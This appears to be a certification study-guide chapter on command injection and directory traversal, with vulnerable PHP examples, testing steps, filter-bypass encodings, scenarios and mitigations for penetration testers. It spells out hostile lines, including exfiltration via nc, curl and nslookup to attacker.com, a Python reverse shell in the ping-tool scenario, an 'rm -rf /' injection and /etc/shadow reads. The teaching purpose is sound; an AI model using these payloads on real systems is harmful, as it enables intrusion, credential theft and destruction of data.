PT0-002Chapter 21 of 104Objective 3.2

Command Injection and Directory Traversal

This chapter covers command injection and directory traversal attacks, two critical web application vulnerabilities that appear regularly on the PT0-002 exam. You will learn the underlying mechanisms, how to identify and exploit them during penetration tests, and essential mitigation techniques. Expect approximately 8-12% of exam questions to touch on these topics, often in the context of identifying vulnerable parameters or interpreting exploitation output.

25 min read
Intermediate
Updated May 31, 2026

Command Injection: The Unauthorized Butler

Imagine a luxury hotel where guests can request room service by filling out a card: 'I would like a [item] in my room.' The card is passed to the butler, who reads the item and then performs the order. However, the card has a flaw: guests can write not just the item but also commands like '...and also unlock the wine cabinet.' The butler, trained to read the entire card as instructions, executes everything written. In this analogy, the web application is the card, the user input is the item field, and the butler is the underlying operating system shell. Command injection occurs when an attacker inserts additional commands (like '; rm -rf /') into input fields that are passed unsanitized to a shell. The shell interprets the entire string as a command sequence, executing the attacker's payload with the privileges of the vulnerable application. Directory traversal is similar: imagine a library where patrons request books by a call number like 'Main/Floor2/ShelfA.' A malicious patron writes '../../Restricted/Vault' to escape the allowed directory and access restricted areas. The library system (web server) naively follows the path without checking for '..' sequences, allowing access to files outside the web root. Both attacks exploit insufficient input validation, but command injection targets the shell, while directory traversal targets the file system.

How It Actually Works

What is Command Injection?

Command injection is a vulnerability that allows an attacker to execute arbitrary operating system commands on the host running a web application. It occurs when user-supplied data is passed unsanitized to a system shell (e.g., cmd.exe on Windows, /bin/sh on Linux) as part of a command string. The attacker can inject command separators like ;, |, ||, &, &&, or newline characters (%0a) to terminate the intended command and append malicious commands.

For example, consider a PHP application that uses system() to ping a host:

$ip = $_GET['ip'];
system("ping -c 4 " . $ip);

An attacker submits ip=127.0.0.1; cat /etc/passwd. The shell executes:

ping -c 4 127.0.0.1; cat /etc/passwd

The semicolon separates the two commands, and the attacker sees the contents of /etc/passwd. This is a classic command injection.

How Command Injection Works Internally

The vulnerability arises because the application does not validate or sanitize user input before concatenating it into a command string. The shell interprets the entire string according to its syntax rules. Key aspects: - Command separators: ; (sequential execution), | (pipe stdout), || (OR), & (background), && (AND), ` ` (command substitution), $()` (command substitution). - Output capture: Depending on the function used (e.g., system(), exec(), shell_exec(), passthru()), the output may be returned to the attacker directly or need to be exfiltrated via out-of-band channels (DNS, HTTP). - Blind injection: If no output is returned, the attacker must use time-based or out-of-band techniques. For example, ping -c 10 127.0.0.1 causes a 10-second delay, or nslookup attacker.com triggers a DNS query.

Key Components and Defaults

PHP functions: system(), exec(), shell_exec(), passthru(), popen(), proc_open(), ` `` (backticks).

Python functions: os.system(), os.popen(), subprocess.call() with shell=True.

Perl functions: system(), exec(), qx// (backticks).

ASP.NET: Process.Start() with UseShellExecute = true.

Java: Runtime.exec() is not directly vulnerable to shell injection unless the command is passed to a shell via cmd /c or /bin/sh -c.

Configuration and Verification Commands

Penetration testers can test for command injection by: 1. Injecting a command separator followed by a benign command like echo pentest. 2. Using time-based payloads: ; sleep 5 (Linux) or & ping -n 5 127.0.0.1 & (Windows). 3. Out-of-band exfiltration: ; nslookup $(whoami).attacker.com.

Example test with Burp Suite:

Parameter: ?ip=127.0.0.1

Payload: 127.0.0.1; ping -c 10 127.0.0.1

Observe response time > 10 seconds.

What is Directory Traversal?

Directory traversal (also known as path traversal) is a vulnerability that allows an attacker to read arbitrary files on the server by manipulating file path parameters. The attacker uses ../ sequences to escape the web root directory and access sensitive files like /etc/passwd, application source code, or configuration files.

For example, a PHP application that reads files:

$file = $_GET['file'];
include("/var/www/html/" . $file);

An attacker submits file=../../../../etc/passwd. The resulting path becomes /var/www/html/../../../../etc/passwd, which resolves to /etc/passwd.

How Directory Traversal Works Internally

The vulnerability exists because the application does not validate that the resolved path stays within an allowed directory. The web server's file system resolution follows .. sequences, allowing access to parent directories. Key aspects: - Path normalization: The operating system resolves .. by moving up one directory level. Multiple ../ sequences climb multiple levels. - Encoding bypasses: Attackers may use URL encoding (%2e%2e%2f), double encoding (%252e%252e%252f), or UTF-8 overlong sequences to bypass filters. - Null byte injection: In older PHP versions (<5.3.4), appending %00 (null byte) could terminate the path string, allowing bypass of extension checks (e.g., file=../../../etc/passwd%00.jpg).

Key Components and Defaults

Web root: Typically /var/www/html on Linux, C:\inetpub\wwwroot on Windows.

Sensitive files: /etc/passwd, /etc/shadow, /etc/issue, /proc/self/environ, boot.ini, web.config.

Common parameters: file=, page=, template=, include=, document=, folder=.

Configuration and Verification Commands

Test for directory traversal by: 1. Injecting ../ sequences and observing error messages or file contents. 2. Using encoded payloads: %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd. 3. Checking for file inclusion in source code: ?page=../../../etc/passwd.

Example with curl:

curl "http://target.com/view.php?file=../../../../etc/passwd"

Interaction with Related Technologies

Command injection often overlaps with file inclusion vulnerabilities (LFI/RFI). In some cases, an attacker can use command injection to create a web shell, then use directory traversal to access it. Conversely, directory traversal can reveal application source code, which may contain hardcoded credentials or other injection points. Both can be chained with other attacks like SQL injection or SSRF.

Mitigation

Input validation: Whitelist allowed characters, reject input containing shell metacharacters or ../ sequences.

Parameterization: Use language-specific functions that avoid shell invocation (e.g., escapeshellcmd(), escapeshellarg() in PHP; subprocess.run() with shell=False in Python).

Least privilege: Run web applications with minimal file system and OS privileges.

Chroot jails: Restrict the application's view of the file system.

Web application firewalls (WAF): Block suspicious patterns like ;, |, ../.

Walk-Through

1

Identify Injection Points

The first step in exploiting command injection or directory traversal is identifying parameters that interact with the OS or file system. Look for parameters in URLs, form fields, headers, cookies, or API endpoints that accept filenames, IP addresses, hostnames, or file paths. Common examples: `?file=report.pdf`, `?page=home`, `?ip=8.8.8.8`, `?cmd=ls`. Use web application scanners or manual inspection of source code (if available) to find these inputs. Also check for error messages that reveal internal paths, such as 'File not found: /var/www/html/uploads/...'.

2

Test with Benign Payloads

For command injection, inject a command separator followed by a benign command like `echo INJECTED` or `; echo INJECTED`. If the output contains 'INJECTED', the vulnerability exists. For directory traversal, inject `../` sequences to attempt reading a known file like `/etc/passwd` on Linux or `boot.ini` on Windows. Use a payload like `../../../../etc/passwd`. Observe the response: if the file content is returned, traversal is successful. If an error appears, adjust the number of `../` levels or try encoding.

3

Confirm Blind Injection

If no output is returned, use time-based or out-of-band techniques. For command injection, inject `; sleep 5` (Linux) or `& ping -n 5 127.0.0.1 &` (Windows) and measure response time. A delay of 5 seconds confirms execution. For out-of-band, use `; nslookup $(whoami).attacker.com` and monitor DNS logs. For directory traversal, blind confirmation is harder; you might need to infer from error messages or use time-based file reads (e.g., reading a large file causing delay). Alternatively, use out-of-band data exfiltration if you can write to a file accessible via web.

4

Escalate and Exfiltrate

Once command injection is confirmed, escalate by executing commands to enumerate the system: `whoami`, `id`, `uname -a`, `ifconfig`, `netstat`. For directory traversal, read sensitive files like `/etc/passwd`, `/etc/shadow`, application source code, configuration files (`config.php`, `web.config`). Use command chaining to exfiltrate data: `cat /etc/passwd | nc attacker.com 1234` or `curl http://attacker.com/$(cat /etc/passwd)`. For blind injection, use out-of-band exfiltration via DNS or HTTP. In directory traversal, look for files that contain credentials or API keys.

5

Bypass Filters and WAF

If basic payloads are blocked, use encoding and obfuscation. For command injection, try: `%0a` (newline), `%0d%0a` (CRLF), backticks, `$()` substitution, or wildcards (`/???/c?t /???/p??swd`). For directory traversal, use: URL encoding (`%2e%2e%2f`), double encoding (`%252e%252e%252f`), UTF-8 overlong (`%c0%ae%c0%ae/`), or path truncation (e.g., `../../../../etc/passwd....`). If a WAF blocks `../`, try `....//` (double dots) which normalizes to `../`. Also try using absolute paths like `/etc/passwd` directly if the application doesn't prepend a base path.

What This Looks Like on the Job

Scenario 1: E-Commerce Application with File Download

A large e-commerce platform allows users to download invoices via a URL like https://shop.example.com/download.php?file=invoice_12345.pdf. The application uses PHP's file_get_contents() to read the file from /var/www/html/invoices/. A penetration tester discovers that the file parameter is vulnerable to directory traversal. By submitting file=../../../../etc/passwd, the tester retrieves the system's user list. Further exploitation reads /var/www/html/config.php, which exposes database credentials. The tester then uses command injection via the same parameter by injecting ; cat config.php after the filename. The application uses exec() to generate the PDF, leading to command execution. The tester escalates by creating a web shell and gaining persistent access. In production, this vulnerability was mitigated by: (1) using a whitelist of allowed filenames, (2) validating that the resolved path starts with /var/www/html/invoices/, and (3) disabling dangerous PHP functions like exec() and system() in php.ini.

Scenario 2: Network Monitoring Tool with Ping Feature

A network monitoring web application provides a 'ping' tool for administrators to test connectivity. The URL is https://monitor.example.com/ping.php?host=8.8.8.8. The application passes the host parameter directly to shell_exec("ping -c 4 $host"). A pentester injects ; whoami and sees the web server runs as 'www-data'. Using ; cat /etc/shadow, the tester obtains password hashes. To bypass a WAF that blocks semicolons, the tester uses newline encoding %0a and backticks. The tester then uses ; python -c 'import socket,subprocess;s=socket.socket();s.connect(("attacker.com",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' to get a reverse shell. The company fixed this by implementing input validation (only allow IP addresses and hostnames) and using escapeshellarg().

Scenario 3: Content Management System (CMS) with Template Inclusion

A custom CMS uses a parameter ?template=default.html to load page templates. The application includes files with include("templates/" . $_GET['template'] . ".html"). A tester discovers directory traversal by sending template=../../../../etc/passwd%00 (null byte injection) in an old PHP version, successfully reading /etc/passwd. After an upgrade, the null byte no longer works, but the tester uses path truncation: template=../../../../etc/passwd/./././././. (exceeding the 255-character limit) to bypass the .html extension. The tester then uses command injection by uploading a PHP file via the CMS's file upload feature (which only checks file extension) and then including it via traversal. The mitigation included: (1) using realpath() to canonicalize the path and verify it starts with the templates directory, (2) disabling allow_url_include, and (3) setting open_basedir restrictions.

How PT0-002 Actually Tests This

PT0-002 Objective Coverage

This chapter directly supports Objective 3.2: "Given a scenario, exploit vulnerabilities in web applications." Command injection and directory traversal are explicitly listed in the exam objectives under "Input validation vulnerabilities." Expect multiple-choice questions where you must identify vulnerable code, select the correct payload, or determine the impact of a successful exploit.

Common Wrong Answers and Why

1.

Confusing command injection with SQL injection: Candidates see a parameter like ?id=1' OR '1'='1 and think it's command injection. The key difference: SQL injection targets a database query, while command injection targets the OS shell. Look for functions like system(), exec(), or backticks in the code.

2.

Assuming directory traversal only works with `../`: Many candidates think absolute paths like /etc/passwd won't work. However, if the application does not prepend a base path, absolute paths can directly access any file. Also, encoded variants (%2e%2e%2f) are often tested.

3.

Thinking blind injection is impossible: Questions may describe a scenario with no output. Candidates might conclude the attack fails, but time-based or out-of-band techniques can confirm execution. For example, ; sleep 10 is a valid detection method.

4.

Overlooking the need for command separators: Some candidates try to inject commands directly without a separator (e.g., 127.0.0.1 whoami). This would fail because the shell treats whoami as an argument to ping, not a separate command. The correct payload includes ;, |, or &&.

Specific Numbers and Terms to Memorize

Command separators: ;, |, ||, &, &&, ` `, $()`.

URL encoding for traversal: %2e (dot), %2f (slash), %00 (null byte).

Common sensitive files: /etc/passwd, /etc/shadow, /etc/issue, C:\boot.ini, C:\Windows\win.ini.

PHP functions: system(), exec(), shell_exec(), passthru(), popen(), proc_open(), backticks.

Python dangerous functions: os.system(), os.popen(), subprocess.call(shell=True).

Mitigation functions: escapeshellcmd(), escapeshellarg(), realpath(), basename().

Edge Cases and Exceptions

Java `Runtime.exec()`: Does not use a shell by default, so command injection is not directly possible unless the command string is passed to cmd /c or /bin/sh -c. The exam may present Java code with Runtime.exec() and ask if it's vulnerable; the answer is usually 'no' unless a shell is invoked.

Windows vs. Linux separators: Windows command prompt uses & and && differently; | also works. PowerShell uses ; but also | for piping.

Filter bypasses: The exam loves double encoding (%252e) and overlong UTF-8 (%c0%ae). Also, using ....// (which normalizes to ../) is a known bypass.

How to Eliminate Wrong Answers

Read the code: If the code shows a database query (e.g., SELECT * FROM users WHERE id = $input), it's SQL injection, not command injection.

Look for output: If the question says 'the output is displayed', it's likely command injection with visible output. If no output, consider blind techniques.

Check the parameter: Parameters named file, page, template, include are typical for directory traversal. Parameters named ip, host, cmd, command are typical for command injection.

Key Takeaways

Command injection occurs when user input is passed unsanitized to a shell function like `system()` or `exec()`.

Common command separators: `;`, `|`, `||`, `&`, `&&`, `` ` ``, `$()`, and newline `%0a`.

Directory traversal uses `../` (or encoded variants) to escape the web root and read sensitive files.

Blind command injection can be detected using time-based payloads like `; sleep 5` or out-of-band DNS exfiltration.

Java's `Runtime.exec()` is not vulnerable to shell injection unless the command is explicitly passed to a shell.

Mitigation for command injection: avoid shell functions, use `escapeshellarg()`, and validate input.

Mitigation for directory traversal: canonicalize paths with `realpath()` and ensure they start with an allowed base directory.

Common encoded traversal payloads: `%2e%2e%2f`, `%252e%252e%252f`, `%c0%ae%c0%ae/`.

Null byte injection (`%00`) can bypass extension checks in old PHP versions (<5.3.4).

Always test for both vulnerabilities during penetration tests; they often coexist in the same parameter.

Easy to Mix Up

These come up on the exam all the time. Here's how to tell them apart.

Command Injection

Targets the OS shell by injecting command separators.

Uses characters like `;`, `|`, `&&`, `` ` ``.

Can lead to full remote code execution (RCE).

Often blind; requires time or out-of-band detection.

Mitigated by avoiding shell functions and using `escapeshellcmd()`.

Directory Traversal

Targets the file system by manipulating file paths.

Uses `../` sequences or absolute paths.

Primarily allows reading arbitrary files.

Usually visible; file content is returned in response.

Mitigated by canonicalizing paths and whitelisting directories.

Watch Out for These

Mistake

Command injection only works if the output is returned to the attacker.

Correct

Blind command injection can be confirmed using time-based delays (e.g., `; sleep 5`) or out-of-band exfiltration (e.g., DNS queries to a controlled domain). The absence of output does not mean the attack failed.

Mistake

Directory traversal requires the `../` sequence to be visible in the request.

Correct

Attackers can use URL-encoded sequences (`%2e%2e%2f`), double encoding (`%252e%252e%252f`), or other bypasses. The server decodes the input before processing the path.

Mistake

Using `escapeshellarg()` or `escapeshellcmd()` in PHP completely prevents command injection.

Correct

These functions prevent shell metacharacter interpretation, but they do not prevent all injection. For example, `escapeshellcmd()` still allows multiple arguments, and `escapeshellarg()` adds single quotes that can be broken out of if the input is not properly handled. Parameterized execution (avoiding shell altogether) is safer.

Mistake

Directory traversal can only read files within the web root.

Correct

Directory traversal allows reading any file the web server process has access to, including files outside the web root (e.g., `/etc/passwd`, `/proc/self/environ`). The only limit is the operating system's file permissions.

Mistake

Java's `Runtime.exec()` is always vulnerable to command injection.

Correct

Java's `Runtime.exec()` does not invoke a shell by default; it executes the command directly. Therefore, shell metacharacters like `;` or `|` are passed as arguments to the executable, not interpreted. Injection is only possible if the command string is explicitly passed to a shell via `cmd /c` or `/bin/sh -c`.

Do You Actually Know This?

Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.

Frequently Asked Questions

What is the difference between command injection and directory traversal?

Command injection allows an attacker to execute arbitrary OS commands by injecting command separators into input that is passed to a shell. Directory traversal allows an attacker to read arbitrary files by manipulating file path parameters with `../` sequences. The key difference is the target: command injection attacks the operating system shell, while directory traversal attacks the file system. Both stem from insufficient input validation, but they require different exploitation techniques and payloads.

How can I detect blind command injection?

Blind command injection occurs when the output of the injected command is not returned in the HTTP response. To detect it, use time-based payloads like `; sleep 5` (Linux) or `& ping -n 5 127.0.0.1 &` (Windows). If the response is delayed by exactly the sleep duration, injection is confirmed. Alternatively, use out-of-band techniques: inject `; nslookup $(whoami).attacker.com` and monitor DNS logs for a query from the target server. Another method is to redirect output to a web-accessible file and then access it via a second request.

What are common bypasses for directory traversal filters?

Common bypasses include URL encoding (`%2e%2e%2f`), double encoding (`%252e%252e%252f`), UTF-8 overlong sequences (`%c0%ae%c0%ae/`), path truncation (using long strings of `./` to exceed character limits), and using absolute paths like `/etc/passwd` if the application doesn't prepend a base directory. Also, try `....//` (double dots) which normalizes to `../` on some systems, or use null byte injection (`%00`) to terminate the path before an appended extension.

Why is Java's `Runtime.exec()` not directly vulnerable to command injection?

Java's `Runtime.exec()` executes a command directly without invoking a shell. It splits the command string into an array using `StringTokenizer` and passes the first token as the executable and the rest as arguments. Therefore, shell metacharacters like `;` or `|` are treated as literal arguments to the executable, not as command separators. For example, `Runtime.exec("ping " + input)` will attempt to run the executable `ping` with the entire input as a single argument, including any `;`. To make it vulnerable, you must explicitly call a shell, e.g., `Runtime.exec("cmd /c ping " + input)` on Windows or `Runtime.exec("/bin/sh -c ping " + input)` on Linux.

What is the best mitigation for command injection in PHP?

The best mitigation is to avoid using shell execution functions altogether. If you must execute a command, use `escapeshellarg()` to escape each argument individually, or `escapeshellcmd()` to escape the entire command string. However, `escapeshellcmd()` still allows multiple arguments, so it's less safe. Even better, use language-specific libraries that don't invoke the shell, such as the `proc_open()` function with proper argument arrays. Additionally, implement strict input validation: whitelist allowed characters (e.g., only alphanumeric and IP address formats) and reject any input containing shell metacharacters.

Can directory traversal lead to remote code execution?

Directly, directory traversal only allows reading files. However, it can lead to remote code execution in several ways: (1) If the attacker can read application source code, they may find hardcoded credentials or other vulnerabilities like command injection. (2) If the application includes files using `include()` or `require()`, directory traversal can lead to Local File Inclusion (LFI), which can sometimes be escalated to code execution via log poisoning or PHP wrappers like `php://input`. (3) If the attacker can write a file (e.g., via file upload), they can use directory traversal to include it, achieving code execution.

What is the difference between `system()` and `exec()` in PHP regarding command injection?

Both `system()` and `exec()` execute commands via the shell and are vulnerable to command injection. The main difference is output handling: `system()` outputs the command output directly to the browser (if called in a web context) and returns the last line of output. `exec()` does not output directly; it stores the output in an array passed as the second argument and returns the last line. From an exploitation perspective, `system()` is easier because the attacker sees the output immediately. With `exec()`, the output may be used internally and not displayed, making it blind injection. Both are equally dangerous.

Terms Worth Knowing

Ready to put this to the test?

You've just covered Command Injection and Directory Traversal — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.

Done with this chapter?